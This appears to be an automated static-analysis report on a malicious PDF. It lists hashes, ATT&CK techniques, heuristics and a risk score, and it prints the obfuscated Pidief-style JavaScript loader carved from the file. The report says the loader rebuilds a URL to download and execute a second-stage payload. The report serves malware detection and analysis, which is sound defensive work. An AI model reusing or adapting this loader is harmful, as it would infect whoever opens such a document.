Malicious PDF — malware analysis report

Static analysis result for SHA-256 0cf89bf27a705493…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2013-01-04
MD5: a18407ca2fcc4e84fcbe733ccab64383 SHA-1: 6b533c6f923c1cf94fb4857a9dc676cf2f2c7490 SHA-256: 0cf89bf27a7054938223a9ba3e1e04095afb7381c1f77f0aba52206c69f4775d
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script reconstructs a URL by concatenating strings and character codes, ultimately attempting to download and execute a second-stage payload. The reconstructed URL is 'http://substr.split.test/v2/aenbwo/title/c'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB02D 438 bytes
SHA-256: bd4068345f54ca315a26b85cc70953ec4ebe6adb1748a7c72bbe849fd5600f87
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
aa = v[v];
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=aa()[s];
yvu=e('tit'.concat(t));
q=yvu[v](a.length-6,a.length+2);
rswi=e(v[0].toUpperCase().concat(v[4],'ring.fr',a[6],q));
q=yvu[v](t.length+12)[e(v[0].concat('ubject'))]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	ikch = 1*(q[i]) - (-1)*(q[i-(-1)]);
	s2 = s2.concat(rswi(ikch));
	i+=2;
}
e(s2);

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